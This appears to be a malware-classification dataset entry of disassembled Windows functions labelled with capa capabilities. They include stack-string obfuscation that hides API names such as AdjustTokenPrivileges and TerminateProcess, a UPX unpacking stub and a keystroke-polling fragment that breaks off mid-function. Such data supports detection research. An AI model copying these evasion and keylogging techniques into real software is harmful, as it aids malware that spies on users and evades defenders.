joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x18], eax
mov esi, 1
mov eax, dword [ebp + 0x18]
push edi
mov dword [ebp - 0x1c], eax
call fcn.10003d80
mov edi, eax
test edi, edi
je 0x1000480b
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], 0x78457965
push eax
push edi
mov dword [ebp - 0x11], 0x6e65704f
mov word [ebp - 8], 0x57
mov word [ebp - 0x14], 0x6552
mov byte [ebp - 0xd], 0x4b
mov byte [ebp - 0x12], 0x67
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004804
push dword [ebp - 0x1c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x18]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x100048a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x20], eax
xor esi, esi
mov eax, dword [ebp + 0x1c]
push edi
mov dword [ebp - 0x28], eax
call fcn.10003d80
mov edi, eax
test edi, edi
je 0x10004936
lea eax, [ebp - 0x1c]
mov word [ebp - 0xc], 0x656c
push eax
push edi
mov dword [ebp - 0x1b], 0x73756a64
mov dword [ebp - 0x13], 0x72506e65
mov byte [ebp - 0x1c], 0x41
mov word [ebp - 9], 0x7365
mov byte [ebp - 0xa], 0x67
mov word [ebp - 0xf], 0x7669
mov dword [ebp - 0x17], 0x6b6f5474
mov byte [ebp - 7], 0
mov byte [ebp - 0xd], 0x69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000492f
push dword [ebp - 0x28]
push dword [ebp - 0x20]
push dword [ebp + 0x14]
push dword [ebp - 0x24]
push dword [ebp + 0xc]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004950
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
call fcn.10003e20
mov edi, eax
test edi, edi
je 0x100049bf
lea eax, [ebp - 0x18]
mov word [ebp - 7], 0x4165
push eax
push edi
mov dword [ebp - 0xc], 0x72756f73
mov dword [ebp - 0x13], 0x6e6f4665
mov word [ebp - 0xf], 0x5274
mov dword [ebp - 0x17], 0x766f6d65
mov byte [ebp - 5], 0
mov byte [ebp - 8], 0x63
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0xd], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100049b8
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret
Function at 0x100049e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
call fcn.10003cb0
mov edi, eax
test edi, edi
je 0x10004a39
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x646e6957
push eax
push edi
mov word [ebp - 8], 0x776f
mov byte [ebp - 6], 0
mov dword [ebp - 0x10], 0x776f6853
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004a32
push dword [ebp + 0xc]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004a50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
call fcn.10003d80
mov edi, eax
test edi, edi
je 0x10004abf
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x636f7250
push eax
push edi
mov dword [ebp - 0x18], 0x6e65704f
mov dword [ebp - 0xd], 0x656b6f54
mov word [ebp - 0x10], 0x7365
mov word [ebp - 9], 0x6e
mov byte [ebp - 0xe], 0x73
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004ab8
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x24], eax
xor esi, esi
call fcn.10003cb0
mov edi, eax
test edi, edi
je 0x10004b6d
lea eax, [ebp - 0x20]
mov word [ebp - 0x1a], 0x6f64
push eax
push edi
mov word [ebp - 0xc], 0x7373
mov dword [ebp - 0x17], 0x65726854
mov dword [ebp - 0x11], 0x636f7250
mov word [ebp - 0x20], 0x6547
mov word [ebp - 0x1d], 0x6957
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0x1b], 0x6e
mov word [ebp - 0x13], 0x6461
mov word [ebp - 9], 0x64
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0xa], 0x49
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004b66
push dword [ebp - 0x24]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret
Function at 0x10004bf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x20], eax
xor esi, esi
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
call fcn.10003d80
mov edi, eax
test edi, edi
je 0x10004c6e
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1a], 0x70756b6f
push eax
push edi
mov dword [ebp - 0xc], 0x65756c61
mov word [ebp - 8], 0x41
mov dword [ebp - 0x16], 0x76697250
mov word [ebp - 0x1c], 0x6f4c
mov dword [ebp - 0x10], 0x56656765
mov word [ebp - 0x12], 0x6c69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004c67
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004c90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0xf], 0x636f7250
mov dword [ebp - 0x16], 0x6e696d72
mov word [ebp - 0x11], 0x6574
mov dword [ebp - 0xb], 0x737365
mov word [ebp - 0x18], 0x6554
mov byte [ebp - 0x12], 0x61
call fcn.10003cf0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004cf2
push dword [ebp + 0xc]
push esi
call eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004e00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
push edi
mov edi, dword [ebp + 0xc]
push eax
mov dword [ebp - 0xc], 0x6c416c61
mov word [ebp - 7], 0x636f
mov word [ebp - 0xf], 0x6f6c
mov byte [ebp - 8], 0x6c
mov byte [ebp - 0x10], 0x47
mov byte [ebp - 5], 0
mov byte [ebp - 0xd], 0x62
call fcn.10003cf0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004e63
push edi
push esi
call eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.1000a344
mov esp, ebp
pop ebp
ret
Function at 0x10004e80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x626f6c47
mov word [ebp - 0xb], 0x466c
mov word [ebp - 8], 0x6565
mov byte [ebp - 6], 0
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 9], 0x72
call fcn.10003cf0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004ed9
push esi
call eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x12], 0x63695474
push eax
mov word [ebp - 0xd], 0x6f43
mov word [ebp - 0xa], 0x746e
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 8], 0
mov word [ebp - 0x14], 0x6547
mov byte [ebp - 0xe], 0x6b
call fcn.10003cf0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004f49
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10004fd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
call fcn.10003e60
mov edi, eax
test edi, edi
je 0x10005029
lea eax, [ebp - 0x10]
mov dword [ebp - 0xd], 0x6e496f54
push eax
push edi
mov word [ebp - 9], 0x4174
mov word [ebp - 0xf], 0x7274
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 7], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005022
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10005040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
call fcn.10003cb0
mov edi, eax
test edi, edi
je 0x100050ac
lea eax, [ebp - 0x14]
mov word [ebp - 0xb], 0x7542
push eax
push edi
mov dword [ebp - 0x11], 0x776f4c72
mov word [ebp - 0x13], 0x6168
mov word [ebp - 8], 0x4166
mov byte [ebp - 9], 0x66
mov byte [ebp - 0x14], 0x43
mov word [ebp - 0xd], 0x7265
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100050a5
push dword [ebp + 0xc]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret
Function at 0x100050c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
call fcn.10003e60
mov edi, eax
test edi, edi
je 0x1000512b
lea eax, [ebp - 0x18]
mov word [ebp - 9], 0x4165
push eax
push edi
mov word [ebp - 0xc], 0x614e
mov dword [ebp - 0x11], 0x6c694664
mov byte [ebp - 0xd], 0x65
mov dword [ebp - 0x16], 0x69466874
mov word [ebp - 0x18], 0x6150
mov byte [ebp - 0xa], 0x6d
mov byte [ebp - 7], 0
mov byte [ebp - 0x12], 0x6e
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005124
push esi
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10005140
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18]
push edi
mov edi, dword [ebp + 0xc]
push eax
mov word [ebp - 0x15], 0x6f4d
mov dword [ebp - 0x12], 0x46656c75
mov dword [ebp - 9], 0x41656d
mov word [ebp - 0x18], 0x6547
mov dword [ebp - 0xd], 0x614e656c
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0xe], 0x69
call fcn.10003cf0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100051b0
push dword [ebp + 0x10]
push edi
push esi
call eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a344
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.1000a344
mov esp, ebp
pop ebp
ret

Function at 0x10005230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
call fcn.10003d80
mov esi, eax
test esi, esi
je 0x10005291
lea eax, [ebp - 0x10]
mov word [ebp - 0x10], 0x444d
push eax
push esi
mov word [ebp - 0xa], 0x7461
mov word [ebp - 0xd], 0x7055
mov byte [ebp - 0xe], 0x35
mov byte [ebp - 0xb], 0x64
mov word [ebp - 8], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000528a
push dword [ebp + 0x10]
push ebx
push edi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a344
mov esp, ebp
pop ebp
ret
Function at 0x100083a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
mov edx, 1
push esi
push edi
mov esi, 0x1571
mov dword [ebx + 0x1384], 0xffffffff
lea edi, [ebx + 8]
mov dword [ebx + 4], 0x1571
mov eax, esi
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, esi
imul esi, eax, 0x6c078965
add esi, edx
inc edx
mov dword [edi - 4], esi
cmp edx, 0x270
jl 0x100083c6
push 0x1388
push dword [ebp + 8]
mov dword [ebx], 0x270
push ebx
call sub.MSVCR120.dll_memcpy
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x10008410
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
push edi
mov dword [ecx + 0x1384], 0xffffffff
lea edi, [ecx + 8]
mov dword [ecx + 4], edx
mov esi, 1
lea ecx, [ecx]
mov eax, edx
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi - 4], edx
cmp esi, 0x270
jl 0x10008430
pop edi
mov dword [ecx], 0x270
mov eax, ecx
pop esi
pop ebp
ret 4

Function at 0x10008830
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
dec eax
mov ecx, dword [ebp + 8]
xor esi, esi
xor ebx, ebx
test eax, eax
je 0x100088dc
lea esp, [esp]
mov ecx, dword [edi + 4]
dec ecx
shl esi, cl
add esi, esi
mov dword [ebp - 4], esi
jmp 0x10008860
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x10008874
mov ecx, esi
call fcn.100093b0
jmp 0x10008882
cmp eax, 0x4e0
jb 0x10008882
mov ecx, esi
call fcn.100092f0
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
cmp eax, dword [edi + 8]
ja 0x10008860
mov ecx, dword [edi + 4]
mov esi, dword [ebp - 4]
dec ecx
shl ebx, cl
or esi, eax
mov ecx, dword [ebp + 8]
add ebx, ebx
or ebx, dword [edi + 8]
lea eax, [ecx - 1]
cmp ebx, eax
jb 0x10008850
xor edx, edx
mov eax, ebx
div ecx
mov ecx, eax
mov ebx, edx
xor edx, edx
mov eax, esi
div dword [ebp + 8]
cmp eax, ecx
mov ecx, dword [ebp + 8]
jb 0x100088ff
lea eax, [ecx - 1]
cmp ebx, eax
jne 0x10008840
mov eax, esi
xor edx, edx
div ecx
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100090b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
mov edi, edi
mov ecx, dword [edi + 4]
dec ecx
shl ebx, cl
add ebx, ebx
jmp 0x100090d0
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x100090e4
mov ecx, esi
call fcn.100093b0
jmp 0x100090f2
cmp eax, 0x4e0
jb 0x100090f2
mov ecx, esi
call fcn.100092f0
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov ecx, edx
shr ecx, 0x12
xor ecx, edx
cmp ecx, dword [edi + 8]
ja 0x100090d0
mov eax, dword [ebp - 4]
or ebx, ecx
add eax, dword [edi + 4]
mov dword [ebp - 4], eax
cmp eax, 0x20
jb 0x100090c0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100092f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
dec ecx
jne 0x10009300
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi]
lea esi, [esi + 4]
xor ecx, dword [esi]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
dec edi
jne 0x10009340
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret

Function at 0x100093b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
lea esp, [esp]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
dec esi
jne 0x100093c0
pop esi
ret
Function at 0xa830a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x540000]
push edi
jmp 0xa830ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa830c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa830b0
mov eax, 1
add ebx, ebx
jne 0xa830d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa830e4
jne 0xa83103
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa83103
dec eax
add ebx, ebx
jne 0xa830f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa830c8
add ebx, ebx
jne 0xa830ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa83155
xor ecx, ecx
sub eax, 3
jb 0xa8311b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa8318a
sar eax, 1
mov ebp, eax
jmp 0xa83126
add ebx, ebx
jne 0xa83126
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa830f4
inc ecx
add ebx, ebx
jne 0xa83134
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa830f4
add ebx, ebx
jne 0xa83141
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa83136
jne 0xa83152
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa83136
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa83174
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa83166
jmp 0xa830b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa83174
add edi, ecx
jmp 0xa830b6
pop esi
mov edi, esi
mov ecx, 0x11c00
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa83192
cmp byte [edi], 0xba
jne 0xa83192
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa83197
lea edi, [esi + 0x680000]
mov eax, dword [edi]
or eax, eax
je 0xa8320f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x684d1c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x684e5c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa831c4
mov ecx, edi
jns 0xa831f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x684e60]
or eax, eax
je 0xa83209
mov dword [ebx], eax
add ebx, 4
jmp 0xa831e1
call dword [esi + 0x684e70]
mov ebp, dword [esi + 0x684e64]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa83243
sub esp, 0xffffff80
jmp 0x60f3a0
Function at 0x42eebc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
fld qword [esp + 0xb8]
fstp qword [esp + 0x54]
fld qword [esp + 0xb0]
fstp qword [esp + 0x4c]
fld qword [esp + 0xa8]
fstp qword [esp + 0x44]
fld qword [esp + 0xa0]
fld qword [esp + 0x98]
fstp qword [esp + 0x34]
fld qword [esp + 0x90]
fstp qword [esp + 0x3c]
fld qword [esp + 0x88]
fstp qword [esp + 0x24]
mov cl, byte [esp + 0x84]
mov esi, dword [esp + 0x70]
mov edi, dword [esi + 0x4c]
mov ebp, dword [esi + 0x50]
fld qword [esp + 0x7c]
fld qword [esp + 0x74]
fst qword [esi + 0x68]
fxch st(1)
fst qword [esi + 0x70]
fxch st(1)
fucom st(1)
fnstsw ax
sahf
jb 0x42ef43
fstp st(0)
fld st(0)
fadd qword [0x82502c]
fst qword [esi + 0x68]
mov byte [esp + 0xb], cl
fld qword [0x825034]
fucom st(1)
fnstsw ax
sahf
ja 0x42ef67
fstp st(0)
fld qword [0x82503c]
fxch st(1)
fucom st(1)
fnstsw ax
sahf
fxch st(1)
jbe 0x42ef6e
fstp st(1)
fst qword [esi + 0x68]
fldz
fstp st(0)
lea ebx, [edi + 1]
fld qword [0x825034]
fucom st(2)
fnstsw ax
sahf
ja 0x42ef93
fstp st(0)
fld qword [0x82503c]
fxch st(2)
fucom st(2)
fnstsw ax
sahf
fxch st(2)
jbe 0x42efa2
fstp st(2)
fxch st(1)
fst qword [esi + 0x70]
fldz
fxch st(1)
fxch st(2)
fxch st(1)
fstp st(0)
fxch st(2)
fstp qword [esp + 0x2c]
sub ebx, ebp
fxch st(1)
fucom st(1)
fnstsw ax
sahf
jb 0x42efc4
fstp st(1)
fld st(0)
fadd qword [0x825034]
fst qword [esi + 0x70]
Function at 0x439af8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push edi
push esi
sub esp, 0x114
mov esi, eax
sub esp, 0xc
lea edi, [esp + 0x20]
push edi
call fcn.0081d50e
add esp, 0xc
mov al, byte [esp + 0x25]
test al, al
js 0x439b49
movzx esi, si
sub esp, 8
push 0
push esi
call fcn.0081d67c
add esp, 8
sub esp, 0xc
lea ecx, [esp + 0x18]
push 0
push ecx
push edi
push eax
push esi
call fcn.0081d80e
add esp, 0xc
cmp eax, 1
je 0x439b7f
xor eax, eax
jmp 0x439b83
and al, 0x7f
mov byte [esp + 0x25], al
movzx esi, si
sub esp, 8
push 0
push esi
